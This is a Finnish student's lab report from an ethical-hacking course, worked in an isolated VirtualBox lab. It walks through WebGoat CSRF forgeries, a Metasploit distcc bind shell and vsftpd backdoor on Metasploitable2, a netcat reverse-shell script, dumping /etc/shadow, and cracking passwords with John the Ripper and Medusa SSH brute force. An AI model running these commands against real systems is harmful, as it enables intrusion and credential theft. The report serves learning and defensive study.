- sivut tarvitsevat käyttäjän identiteettiä
- tätä tarvetta käytetään hyökkäyksessä hyväksi
- huijaa käyttäjän selaimen lähettämään requesteja kohdesivulle
- requesteja joilla on sivuvaikutuksia
A8:2013 Request Forgeries: 3 “Basic Get CSRF Exercise”
Luetaan tehtävänanto ja klikataan suoraan vihjettä, eli lomakkeessa on piilotettu syöttökenttä. Tällaisia piilotettuja syöttökenttiä voidaan käyttää verkkosivuilla esimerkiksi honeypotteina spämmiboteille. Selataan DOMia ja löydetään display: none
:lla piilotettuja elementtejä, pistetään display: block
. Ainaskin paljon tekstiä jos ei syöttökenttää. Tekstissä on ohjeita hyökkäysten torjumiseksi. Laitetaan toisellekin blokille sama. Ylempää löytyy sitten lisää ohjeita: avaa uusi täbi WG:hen ja tee uusi käyttäjä samalla tunnuksella mutta laita sen etuliitteeksi csrf- ja loggaa sisään.
Luodaan uusi käyttäjä csrf-verkkovuohi ja kirjaudutaan sisään. Koska olen nopeudeltani aivan boomer tietokoneiden kanssa on aiempi käyttäjä jo loggautunut ulos kun saan uuden käyttäjän valmiiksi. Aloitan tehtävän alusta ja huomaan nyt että piilotettua matskua DOM:ssa oli enemmänkin. Nyt saan jonkun kissakuvan ja lisää tekstiä. Jahas nyt pitää arvioida applikaatiota. Mitähän he** tehtävässä on tarkoitus tehdä. Täytän lomakkeen vaan jollakin arvoilla testatakseni sitä, saan Whitelabel errorin.
Ermmm…
Palataan selaimessa taaksepäin, katsellaan lisää DOM:ia, yritetään löytää se alkuperäinen syöttökenttä. Katsotaan kuitenkin ensin onko nyt löydetyt piilotetut elementit myöhempien vaiheiden tehtäviä. On. Kissa tulee vasta seuraavassa vaiheessa, post a review… Entäpäs se aiemmin löydetty ohje uuden käyttäjän tekemisestä? Selataan tehtävä loppuun. Sekin on vasta myöhäisempi vaihe tehtäväsarjassa. Jahas nonin aloitetaan alusta.
Jaaa, piilotettu kenttä olikin Submit Query painikkeen vieressä. Sen type on “hidden”, name csrf ja arvo false. No muutetaan true syöttökentässä. Ei mene läpi. Muutetaan true:ksi domissa? Ei hyödytä. Katsotaan tässä vaiheessa esimerkkiratkaisu, joka perustuu url:n parametrien muokkaamiseen. Mutta meidän queryn urlissa parametreja ei ole: http://localhost:8080/WebGoat/csrf/basic-get-flag
ja JSON data näyttää tältä:
{
"flag" : null,
"success" : false,
"message" : "Appears the request came from the original host"
}
Hmm. Kuinka voidaan muuttaa lähettäjän tietoja… katsotaan Headerit:
Response Headers
Connection: keep-alive
Content-Type: application/json
Date: Sat, 13 Nov 2021 16:33:11 GMT
Transfer-Encoding: chunked
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Request Headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Host: localhost:8080
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Trigger the form below from an external source while logged in. The response will include a ‘flag’ (a numeric value).
Hmmmhh.. eli ZAP:lla? Postmanillahan voisin tehdä POST requestin, ehkä ZAP:lla onnistuu sama? Otetaan lomakkeen tiedot talteen.
<form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="_blank" successcallback="" action="/WebGoat/csrf/basic-get-flag" enctype="application/json;charset=UTF-8">
<input name="csrf" type="text" value="true">
<input type="submit" name="submit">
</form>
WebWolf
Sivun alalaidassa on WebWolf-kuvake. Lisää ratkaisuja etsimällä näyttää selvältä, että sitä on tarkoitus käyttää. Ainakin sitä voi käyttää tehtävän ratkaisemiseen, tehtäväthän voi häkätä monella tavalla. Mutta kuten WebGoat kokonaisuutena, myös WebWolfiin tuntuu olevan nihkeästi dokumentaatiota. Jos jollakin on parempaa tietoa WG:n käytöstä kuin YouTuben rätisevät mahdottomalla englannin aksentilla nauhoitetut mongerrukset olisin iloinen. Viimein löytyy https://docs.cycubix.com/web-application-security-essentials/webgoat-8/about-webwolf.
Ensinnäkin meidän pitää asentaa WebWolf.
Haetaan WebWolf:
wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webwolf-8.2.2.jar
Käynnistetään WebWolf:
java -jar webwolf-8.2.2.jar
Ei käynnisty, WebWolf käyttää tuoreempaa Javaa. Kokeillaan ladata vanhempi WW versio mikä synkkaa ehkä paremmin sit WG:n kanssakin? WG:n versio oli 8.0.0, etsitään se versioista: https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M26/webwolf-8.0.0.M26.jar ladataan ja käynnistetään kuten yllä, mutta versionumero 8.0.0.M26 päivitettynä, tai downgradettuna.
Käynnistyy, phew. Portti oli defaulttina 9090. Kokeillaan kirjautua sisään WG tunnuksilla: http://localhost:9090/login Läpi menee, tallennetaan WG:n salasana selaimeen WW:lle.
Seuraavaksi täyttä esimerkkivideon apinointia: https://www.youtube.com/watch?v=4sQjhU6HqtA
Tallennetaan lomake mikä otettiin aiemmin talteen html-tiedostona Kalin työpöydälle fake.html ja viedään WebWolfin palvelimelle Files osioon “Upload files”:llä. Toimiva tiedosto näytti muokattuna viimein tältä (action attribuutin absoluuttinen tiedostopolku ja type ja value muokattu alkuperäisiksi):
<form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="_blank" successcallback="" action="http://localhost:8080/WebGoat/csrf/basic-get-flag" enctype="application/json;charset=UTF-8">
<input name="csrf" type="hidden" value="false">
<input type="submit" name="submit">
</form>
Nyt saamme arvoksi true ja flag nroksi 57178. Sen syöttämällä lomakkeeseen harjoitus menee läpi. Tätä tarvitsee sulatella.
A8:2013 Request Forgeries: 4 “Post a review on someone else’s behalf”.*
Seuraavaksi pitäisi kirjoittaa arvostelu loggautuneen käyttäjän eli “verkkovuohi” puolesta. Eli varmaankin nyt tulisi käyttöön istuntokeksi? Katsotaan miten kommenttilomake rakentuu ja millaisen POST-requestin se lähettää. Kopioidaan jälleen sivun formi omaksi tiedostoksi joka houstataan WW:ssä:
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" successcallback="" action="/WebGoat/csrf/review">
<input class="form-control" id="reviewText" name="reviewText" placeholder="Add a Review" type="text">
<input class="form-control" id="reviewStars" name="stars" type="text">
<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
<input type="submit" name="submit" value="Submit review">
</form>
Kuten edellisessä tehtävässä aluksi tulee Whitelabel error koska en muuttanut vielä action pathia absoluuttiseksi. Tehdään se. Nyt lomake tulee näkyviin mutta sen submittaaminen saa aikaan whitelabel errorin. Hmmm kokeillaan ensin lähettää oikea lomake. Lisätään enctype=”application/json;charset=UTF-8”. Myös arvot pitää lähettää oikeassa muodossa, name=”stars” on oltava numeroarvo. Kokeillaan vielä poistaa enctypekin tämän jälkeen, koska sivun lomakkeessakaan sitä ei ollut.
Eli absoluuttinen polku ja oikeassa muodossa lähetetty reviewStars syöttökenttäarvo olivat avaimet onneen, idea oli sama kuin edellisessäkin tehtävässä.
{
"lessonCompleted" : true,
"feedback" : "It appears you have submitted correctly from another site. Go reload and see if your post is there.",
"output" : null
}
Tee ja raportoi: b) Attakin alatekniikat
Demonstroi kaksi (2) alatekniikkaa (subtechnique) ATT&CK kehikosta. Tässä pitää siis käyttää näitä käytännössä johonkin harjoitusmaaliin. Voit käyttää haluamiasi valmiita työkaluja tai koodata / skriptata itse. Voit valita valmiin harjoitusmaalin tai tehdä sen itse. Muista, että myös tiedustelussa pitää noudattaa lakia, etiikkaa, rajauksia (scope) ja hyviä tapoja.
Alkusanat
Olemme harjoittaneet aiemmin tiedustelua (Recoinnassance) ja sisäänpääsyä (Initial Access) Metasploitablea vastaan, ja pelkkää tiedustelua NullByte virtuaalikonetta vastaan. Aiemmin tunnilla esitettyjä esimerkkejä taktiikoista tämän jälkeen ovat olleet piileskely (Defense Evasion), ympäristössä liikkuminen (Lateral Movement) ja tunnistetietojen käyttö (Credential Access). Kaikki näistä vaikuttaisivat luonnollisilta harjoituskohteilta.
Mikä olisi opettavaisinta? Mikä olisi rajallisen ajan puitteissa hyvä seuraava harjoitus? Tutkitaan mitä aiemmin vastaantulleet taktiikat tiedustelu, sisäänpääsy, piileskely, ympäristössä liikkuminen ja tunnistetietojen käyttö tarjoavat Att&ckissa alatekniikoiksi. Näistä on nyt edes ehkä jonkinlaista kokemusta esimerkkien seuraamisen muodosssa. Ja ehkä resurssien kokoaminen (Resource Development) voisi tarjota aloittelijalle jotain iloa?
Esimerkkejä jo käytetyistä alatekniikoista
Tiedustelu:
- T1595.001 Scanning IP Blocks, https://attack.mitre.org/techniques/T1595/001/
- T1595.002 Vulnerability Scanning, https://attack.mitre.org/techniques/T1595/002/
Resurssien kokoaminen:
- T1583.004 Server, WebWolf oli ehkä esimerkki tästä: https://attack.mitre.org/techniques/T1583/004/
- T1588.002 Tool, Kalin työkalut ovat ehkä esimerkkejä tästä: https://attack.mitre.org/techniques/T1588/002/
Mahdollisia alatekniikoita testattavaksi
Discovery:
- Account Discovery: Local Account https://attack.mitre.org/techniques/T1087/001/
Impact:
- Data Manipulation: Stored Data Manipulation https://attack.mitre.org/techniques/T1565/001/
Metasploitin ja Metasploitablen käyttö vaikuttavat luonnollisilta vaihtoehdoilta, vaikka vulnhubista löytyisi varmasti lisää koneita. Katsellaan orientaatioksi Metasploitable 2 walkthroughta: https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/ ja https://www.youtube.com/watch?v=cGg889St6fg
Voisi tehdä (dokumentoida, tein jo videon mukana) sanakirja hyökkäyksen ssh:ta vastaan john the ripperillä: https://securityaspirations.wordpress.com/2017/07/04/metasploitable-2-password-hash-cracking-with-john-the-ripper/. Rapid7 dokumentaatiossa olevat monetkaan hyökkäykset eivät toimineet sellaisenaan Kalilla ja sen Metasploit v.6:lla. Ehkä tässä on tarpeeksi alkuhaistelua tehtävälle. Palaan seuraavaksi aiempaan tehtävään ja tekemään Mitren Att&ckin taktiikoihin kuuluvat alatekniikat. Valitsen sieltä sitten sopivat kaksi alatekniikkaa nyt tämän alkupohdinnan jälkeen.
Muuta muistiinpanoa:
- Metasploit manuaali: https://www.offensive-security.com/metasploit-unleashed/introduction/
- Hyökkäyksen voi liittää useampaan Att&ckin tekniikkaan ja alatekniikkaan. https://attack.mitre.org/techniques/T1098/004/
- HOX! Kivan näköinen dokumentti Metasploitista, Metasploitablesta, Kalista, virtuaaliympäristöstä, kaikesta mitä on jo tehtykin: The Easiest Metasploit Guide You’ll Ever Read https://www.exploit-db.com/docs/english/44040-the-easiest-metasploit-guide-you%E2%80%99ll-ever-read.pdf
(This is) SPARTA(aaaaaaaa)!
https://samsclass.info/124/proj14/p18xLPE.htm
Seurataan tätä blogia, koska siinä on kivasti selitetty kerrankin heti mihin pyritään ja miten.
Eli käytetään spartaa haavoittuvien palveluiden tunnistamiseen. Luetaan lisää SPARTA:sta. Kyseessä graafisen käyttöliittymän Python työkalu joka tulee asennettuna Kalissa. Tsekataan: sparta -v
ja python-requests
mutta molemmat command not found. Jahas. Pitäisi päästää Kali nettiin SPARTA:n asentamiseksi. Koska ollaan niin nössöjä laiteaan Metasploitable pois päältä siksi aikaa vaikka sillä ei pitäisi olla mitään tekemistä Kali-koneen turvallisuuden kanssa, jonka portit oli suljettu. Olihan ne suljettu? Skannataan ensin Kali-kone nmapilla ennen kuin päästetään sitä nettiin: nmap 192.168.233.5
. host up ports closed, great. Paranoian juostessa villinä katsotaan vielä että muistettiin koneen ip oikein ifconfig
, kyllä. Katsotaan palomuuriasetukset vielä ufw show status verbose
, deny all incoming, great. Ermmm… tajutaan Kalissa on edelleen default tunnistetiedot käytössä. Vaihdetaan salasanat tässä vaiheessa, passwd
ja sudo passwd
. Päästetään Kali nettiin, sillähän oli asetettuna jo toinen verkkokortti nettiä varten, nyt vaan laitetaan se päälle VB:ssä. Kalikin pitää sulkea sitä varten vielä. Settings –> Network –> Adapter 1 (Attached to: NAT) –> Enable Network Adapter. Käynnistetään Kali uudestaan molemmilla verkkokorteilla.
Asennetaan Sparta GeeksforGeeks ohjeita (päivitetty 2021 kesäkuussa, joten voisi kuvitella että tuoreet ohjeet, vaan eipä olleet kuten kohta selviää):
apt-get update && apt-get install sparta python-requests
Permission denied
sudo !!
Could not open lock file … are you root?
sudo -i
uudestaan:
apt-get update && apt-get install sparta python-requests
Package sparta is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
E: Package 'sparta' has no installation candidate
E: Unable to locate package python-requests
Errmmm… aivan kuin spartaa ei haluttaisi asennettavaksi? Ahaa, Sparta on poistunut Kalista Python-kielen vanhan version vuoksi ja korvattu LEGION:lla.
Katsotaan löytyykö se Kalista, poistutaan rootista ensin exit
sitten legion -v
must run as root, lol sudo !!
ja vaikka yritin katsoa vain versiota avaa se koko ohjelman. Otetaan Kali jälleen pois netistä ja poistetaan sen julkiseen verkkoon yhteydessä oleva verkkokortti käytöstä Settings –> Network ja täppä pois päältä.
Jatketaan harjoituksia. Laitetaan Kali ja Metasploitable2 koneet päälle ja pingataan molemmilla Googlea ping 8.8.8.8
varmuudeksi, Network is unreachable, hyvä.
(We are a) LEGION
Käynnistetään Legion ja verrataan seurattavien ohjeiden Spartaan, näyttää hyvin samalta.
legion
Klikataan “Click here to add host(s) to scope” ja asetetaan Metasploitable2 koneen ip sinne. Legionissa näyttää olevan paljon enemmän vaihtoehtoja kuin Spartassa skannauksen laatuun liittyen, vain “Run nmap host discovery” ja “Run stage nmap scan” ovat pysyneet samana. Legionissa on lisäksi Mode Selection (Easy defaulttina) ja Timing and Performance Options (Aggressive defaulttina, kolme pienintä vaihtoehtoa hauskat “Paranoid, Sneaky ja Polite”).
Tiedustelu: T1595 Active Scanning
Seuraavaksi käytetään Mitre Att&ck tiedustelutaktiikan tekniikan Active Scanning alatekniikoita .001 Scanning IP Blocks ja .002 Vulnerability Scanning. Jatkoa varten ajatellen Nessus-haavoittuvuusskannerin asentaminen ja siihen tutustuminen voi olla hyvä idea (idea saatu aiemmin linkatusta Metasploit-manuskasta: The Easiest Metasploit Guide You’ll Ever Read: https://www.tenable.com/products/nessus.
Painetaan Submit ip:n asettamisen jälkeen defaulteilla. Aloittaa heti skannauksen. Skannaus on ilmeisesti aika perusteellinen ja siinä käytetään useita työkaluja joista nmap nyt vain yksi mainitakseni. Eli Legionhan on kolmas työkalu jolla olemme tehneet verkon skannauksen, aiemmissa tehtävissä sama tehty nmapilla ja netdiscoveryllä. Netdiscovery vaikutti Legionaa paljon hitaammalta ja ei niin monipuoliselta, ja lisäksi se antoi niitä hämmentäviä osumia joita en osannut analysoida. Nmap on nopein, mutta se on vain yksi työkaluista joita Legion käyttää.
Jatketaan kuitenkin Spartaa käyttävän ohjeen seuraamista, kuinka siellä analysoidaan tuloksia ja löytyvätkö nuo samat ominaisuudet myös Legionasta. Eli ohjeen tekijähän käytti Spartaa haavoittuvien kohteiden etsimiseen, Metasploittia niiden hyödyntämiseen ja searchsploittia käyttöoikeuksien kasvattamis hyökkäysten etsimiseen. Kuitenkin ohjeessa ei anneta mitään vihjettä siihen, kuinka tekijä tunnistaa portissa 3632 olevan distccd-palvelun (joka löytyy myös Legionin tuloksista) haavoittuvaksi. Tämä olisi ollut hyvin kiinnostavaa. Sen sijaan tekijä toteaa vain, että DistCC käytetään “to scale large compiler jobs across systems” ja että “it can be abused to execute arbitrary commands”. Tietäjät tietää, minä en.
Avataan uusi terminaali ja avataan siellä msfconsole. Nyt varsinaisesti vasta etsitään haavoittuvuuksia palvelua vastaan: search distcc
. Sieltä löytyy yksi moduuli:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec
Katsotaan sen tiedot info exploit/unix/misc/distcc_exec
. Mitä tiedoista voidaan päätellä:
- Check supported on Yes, mikä vaikuttaa hyvältä.
- Vaatii RHOSTS ja RPORT asettamisen. Tällä hetkellä porttina 3632 ja RHOSTS tyhjä. Vaadittu default-portti on sama missä palvelu pyöri Metasploitable2 koneella.
- Payload on vielä itelleni vähän hämärä, viimeksi ainakaan ilman sitä hyökkäyksen ajaminen ei onnistunut mutta toisaalta Rapid7:n esimerkeissä sitä ei asetettu.
- Description: This module uses a documented security weakness to execute arbitrary commands on any system running distccd. Tämähän tiedettiin seurattavasta ohjeesta aiemmin että tämä käyttää näitä arbitrary commandsien haavoittuvuuksia hyväkseen. Arbitrary commands, katsotaanpa nyt mitä nekin ovat. Arbitrary = mielivaltainen. “When a particular vulnerability allows an attacker to execute “arbitrary code”, it typically means that the bad guy can run any command on the target system the attacker chooses.” Joku nokkelampihan olisi tämän voinut jo arvatakin.
Okei. Otetaan moduuli käyttöön: use exploit/unix/misc/ditcc_exec
. Asetetaan sille kohde: set RHOSTS 192.168.233.3
. Varmistetaan: info
. Kaikki kuten pitääkin, käytetään hyökkäystä: exploit
. Exploit failed, a payload has not been selected. Katsotaan omista ohjeista miten Payload asetettiin viimeksi. Katsotaan show payloads
, hirveästi Compatible Payloads (13), valitaan neljäs unix/generic fiiliksen pohjalta.
set payload payload/cmd/unix/generic
Katsotaan info, Payload information pysyy samana kuin aiemmin “Space: 1024”. Emme osaa tulkita mitä se tarkoittaa, 1024 tarkoittaa varmasti 1024 tavua eli yhtä kilotavua eli tiedostokokoa.
exploit
ei mene läpi. Kokeillaan jotain toista payloadia, payloadia 6 reverse_bash. Ja epäonnistumisen jälkeen ensimmäistä (0) payloadia bind_perliä. Jösses, nyt tapahtuu:
[*] Started bind TCP handler against 192.168.233.3:4444
[*] Command shell session 1 opened (192.168.233.5:39109 -> 192.168.233.3:4444) at 2021-11-15 04:02:11 -0500
Ajetaan whoami
ja kohdekone vastaa että “daemon”. Olen siis Linux-palveluun liittyvä daemon, okkei. Käsittääkseni daemonina ei ole tarkoitus tosiaan kenenkään linuxia käyttää vaan kyseessä on palveluihin liittyvä tili jota puolestaan ohjeistetaan muilta tileiltä “asenna tämä, poista tuo”, tai sitten se toimii autonomisesti taustalla palvelun mahdollistamiseksi. Mutta asiaan voisi tutustua tarkemmin.
Käyttöoikeuksien kasvattaminen
Ohjeissa sanotaan että käyttöoikeuksien kasvattamiseksi tarvitaan kernel exploit, ja tarvitaan tieto kohteen kernelistä. Linuxin käytöstä on vähän aikaa mutta ohjeiden uname -a
ja lsb_release -a
ajavat asian.
OS ja versio: Ubuntu 8.04 Kernel: 2.6.24
Sitten etsitään haavoittuvuuksia sitä vastaan searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
. Ohjeen kirjoittajalla on jälleen jotain maagillista tietämystä mitä meillä ei, kun hän päätyy useampi sivuisesta listasta valitsemaan haavoittuvuuksista Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) U | linux/local/8572.c
.
Yritään etsiä se hyökkäyskannasta, mutta esimerkin tiedostopolun takana se ei ainakaan ole, koska sellaista polkua ei ole meillä olemassa. Löydetään se /usr/share/exploitdb/exploits/linux/local/8572.c
.
Seuraavaksi pitäisi käynnistää kalin apache2 ja asettaa symbolinen linkki exploittien lataukseen. Kokeillaan toimiiko tämä, emmehän ole internetissä.
sudo -i
service apache2 restart
ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/
Eli soft link tästä tänne. Seuraavaksi pitää tehdä tiedosto linkin osoittamaan kansioon, kenties edelleen roottina? Lupaan olla ei-yllättynyt kun tiedosto-oikeudet tulevat olemaan pielessä.
#!/bin/bash
nc 172.16.1.188 12345 -e /bin/bash
Nyt ohjeistetaan olemaan low-privilege shellissä tiedostojen viemistä varten kohteeseen. No mennään pois rootista samassa terminaalissa missä äsken luotiin roottina tiedosto.
cd /tmp
ja
┌──(kali㉿kali)-[/tmp]
└─$ wget http://192.168.233.3/run
--2021-11-15 04:38:40-- http://192.168.233.3/run
Connecting to 192.168.233.3:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2021-11-15 04:38:40 ERROR 404: Not Found.
Nonin, eli tuhotaan se rootina luotu tiedosto ja luodaan uudestaan kalina. Paitsi että ei luoda koska ei oikeuksia kansioon, eikä sillä ole tässä väliä. Tällaista tämä on kun ei mieti, eli mehän olemme hakemassa wgetillä run tiedostoa Metasploitablesta jota ei löydy. Mutta miksei niitä siis löydy? Tutkitaan Metasploitable-koneen sisältöä. Mehän ollaan edelleen daemonina sisässä. pwd
kertoo että ollaan /tmp-kansiossa. Jahas meillä ei ole oikeuksia liikkua sen ulkopuolelle. Xiitataan ja käydään Metasploitablessa msfadminina. Mietitään vielä hetki lisää. Ohjeessa puhutaan että kalin ip pitää asettaa tiedostoon, minähän olin laittanu Metasploitable-koneen sinne. Ei silläkään ollut väliä.
Myönnetään tosiasiat - emme saa kaikkia harjoituksia dokumentoimisineen valmiiksi tälle kerralle. Palautetaan vajavainen dokumentti ja jatketaan paremmalla ajalla.
John the Ripper
Vannon pyhästi että tein tämän tehtävän tätä oppituntia apinoimalla https://www.youtube.com/watch?v=cGg889St6fg mutta en ennättänyt sitä tehtävien palautusaikaan mennessä dokumentoimaan, koska ajattelin että teen sen myöhemmin uudestaan ajatuksella. Lisään sen jahka joudan.
EDIT: jatketaan harjoitusta varsinaisen tehtävänpalautusajan jo umpeuduttua. Luetaan taustaksi taas vähän blogeja aiheesta, tässä mikä vaikutti miellyttävimmältä: https://www.golinuxcloud.com/john-the-ripper-password-cracker/. Sieltä selviää että JtR tukee kolmea moodia salasanakräkkäykseen:
- Single Mode Crack: kokeilee käyttäjänimiä salasanoiksi GECOS-kentästä, joka on UNIX-järjestelmissä /etc/passwd tiedostoista.
- Wordlist Mode: kokeilee käyttäjätunnuksen salasanaksi kaikkia salasanoja sanalistasta (eli onkohan nk. sanakirjahyökkäys, vai onko dictionary attack vielä omansa?). Joka tapauksessa, tätä moodia käytettiin kun seurattiin videota ekan kerran.
- Incremental Mode (aka Brute-Force attack): kokeilee kaikkia kirjainmerkkiyhdistelmiä.
Alkutoimenpiteet
Harjoituksen testiympäristö siis Kali ja Metasploitable2 virtuaalikoneet. Käynnistetään koneet ja hoidetaan alkutoimenpiteet hyökkääjä Kalilla (oleelliset komennot tässä, koko sekoilu logissa):
mkdir johns
cd johns/
script -fa johntheripper
ping 8.8.8.8
nmap 192.168.233.0/24 -oA scan4john2
nmap -sV 192.168.233.3 -oA u4john
msfconsole -q
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
info
set RHOSTS 192.168.233.3
show options
exploit
whoami
# Metasploitablessa root
cat /etc/passwd
# copy
# Kalissa .../johns
nano passwd
# paste
# Metasploitablessa root
cat /etc/shadow
# copy
# Kalissa .../jonhs
nano shadow
# paste
Nyt meillä on copy-pastattuna passwd ja shadow tiedostostot hyökkääjä Kalissa. Eli passwd:ssä on käyttäjätunnarit ja shadow kryptatut salasanat. Nyt seuraa uusi vaihe, ajetaan hyökkääjä Kalissa John the Ripper unshadow
komento:
unshadow passwd shadow > johnsvictims
Nyt kryptatut salasanat ja käyttäjätunnarit on yhdistetty samalle riville, tätä tarvitaan varsinaisen kräkkäyksen aloittamiseen JtR:llä.
OS Credential Dumping T1003
Aloitetaan tilitietojen dumppaamimen, käytetty alatekniikka **.008 /etc/passwd and /etc/shadow **:
┌──(kali㉿kali)-[~/johns]
└─$ john johnsvictims
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user (user)
postgres (postgres)
Warning: Only 20 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 32 candidates buffered for the current salt, minimum 48 needed for performance.
msfadmin (msfadmin)
Warning: Only 21 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 33 candidates buffered for the current salt, minimum 48 needed for performance.
service (service)
Warning: Only 30 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 37 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 38 candidates buffered for the current salt, minimum 48 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 20 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 21 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 10 candidates buffered for the current salt, minimum 48 needed for performance.
Further messages of this type will be suppressed.
To see less of these warnings, enable 'RelaxKPCWarningCheck' in john.conf
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456789 (klog)
batman (sys)
Proceeding with incremental:ASCII
Noniin, analysoidaan tulokset. Kuten muistetaan ylempää JtR hyökkää kolmella moodilla josta john
komento käyttää nähtävästi kaikkia. Ensin on Single Mode joka löysi salasanat (käyttäjille) user (user), postgres (postgres), msfadmin (msfadmin), service (service). Wordlistalla se löysi salasanat klog ja sys käyttäjille sanalistasta /usr/share/john/password.lst. Sitten se siirtyi brute forcettamaan ja olisi meikän mopolla valmis joskus auringon sammumisen jälkeen, joten ctrl + c.
Seuraavaksi esimerkkivideossa näytetään kuinka DVWA:n kautta saatiin myös haettua Command Executionilla /etc/passwd listaus www-data käyttäjänä haavoittuvan verkkosivun syöttökenttään linux-komentoja ajamalla, mutta ei shadow-tiedostoa koska ei root-oikeuksia, ja kuinka siksi pitää aina käyttää verkkopalveluissa omaa www-data käyttäjää.
Jos katsotaan verboosin porttiskannauksen tulokset cat u4john.nmap
nähdään että portti 22 ssh on auki.
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
Seuraavaksi suunnitellaan hyökkäystä ssh-porttia vastaan passwd-tiedoston tietojen pohjalta. Kuvitellaan että haettiin ne vaikka Command Executionilla DVWA:n kautta (ei haettu). Kalissa on valmiiksi asennettuna brute force kräkkeri Medusa.
Brute Force T1110
Seuraavaksi käytetään Brute Forcen alatekniikkaa Password Cracking .002 eli salasanojen kräkkäys.
JtR haki sanalistansa polusta /usr/share/john/password.lst mutta Medusassa voidaan käyttää isompaa salasanalistaa /usr/share/wordlists/rockyou.txt.gz. Ensin tiedosto pitää purkaa (tämä vaihe oli tehty jo), sitten katsomme montako riviä tiedostossa on:
gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l rockyou.txt
14 miljuunaa plus riviä eli salasanaa listassa. Rockyou.txt tietovuodon historia, MySpace mainittu: https://techcrunch.com/2009/12/14/rockyou-hack-security-myspace-facebook-passwords/. Tuoreempi tietovuoto rockyou2021: https://cybernews.com/security/rockyou2021-alltime-largest-password-compilation-leaked/
Seuraavaksi käytetään salasanalistaa Medusan kera. Tein sitä varten vielä medusa-kansion ja victims-tiedoston, mikä oli aiemmin targets nimellä johns-kansiossa. Mutta selkeyden vuoksi.
# uppercaset tiedostoja, lowercaset yksittäisiä instansseja, -M = service, -h = host, -O = success out file
medusa -U victims -P /usr/share/wordlists/rockyou.txt -M ssh -h 192.168.233.3 -O turnedtostone
Melkein välittömästi tulee osuma:
ACCOUNT FOUND: [ssh] Host: 192.168.233.3 User: klog Password: 123456789 [SUCCESS]
Sillä välin kun sys-salasanaa kräkätään tutustutaan muistin virkistämiseksi jälleen unix-järjestelmien passwd-tiedoston muotoon: https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/.
Ja muutamassa minuutissa myös sys-käyttäjän heikko salasana oli kräkätty. Sitten vain ssh-yhteyttä kohdekoneeseen: ssh sys@192.168.233.3
ja pw “batman” perään.
┌──(kali㉿kali)-[~/medusa]
└─$ ssh sys@192.168.233.3
sys@192.168.233.3's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sun Nov 14 13:29:17 2021 from 192.168.233.5
sys@metasploitable:~$